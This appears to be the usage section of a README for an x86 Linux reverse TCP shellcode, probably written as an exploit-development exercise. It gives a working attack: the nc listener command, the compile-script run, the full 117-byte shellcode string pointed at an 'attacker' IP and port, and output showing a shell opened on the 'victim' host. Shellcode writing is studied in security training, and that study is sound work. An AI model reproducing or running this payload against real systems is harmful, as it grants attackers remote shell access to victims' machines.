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36 lines
1.4 KiB
36 lines
1.4 KiB
USAGE
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1. For example, you are an attacker with 192.168.1.149 IP. Run nc to listen on 55005 port
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attacker $ nc -vl 55005
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[do not close it]
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2. Running shellcode on a victim server
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exam2$ ./compile_all.sh shell_reverse_tcp 192.168.1.149 55005
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[I] Using custom port: 55005
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[+] Assembling shell_reverse_tcp.nasm with NASM ...
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[+] Linking shell_reverse_tcp.o ...
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[+] Generating shellcode with objdump ...
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[+] Checking shellcode for NULLs ...
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[+] Shellcode size is 117 bytes
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"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x51\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xd2\xff\x37\x66\xff\x77\x04\x4b\x66\x53\x43\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xd8\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\xaa\xff\xff\xff\xc0\xa8\x01\x95\xd6\xdd"
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[+] Generating shellcode.c file with the shell_reverse_tcp shellcode ...
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[+] Compiling shellcode.c with GCC ...
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[+] All done! You can run the shellcode now:
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$ ./shellcode
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exam2$ ./shellcode
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Shellcode Length: 117
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3. Checking now your nc
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attacker $ nc -vl 55005
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Connection from 192.168.1.149 port 55005 [tcp/*] accepted
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id
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uid=500(arno) gid=500(arno) groups=500(arno),18(dialout),498(desktop_admin_r),501(vboxusers) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
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Voila ! We've got a shell to a victim server.
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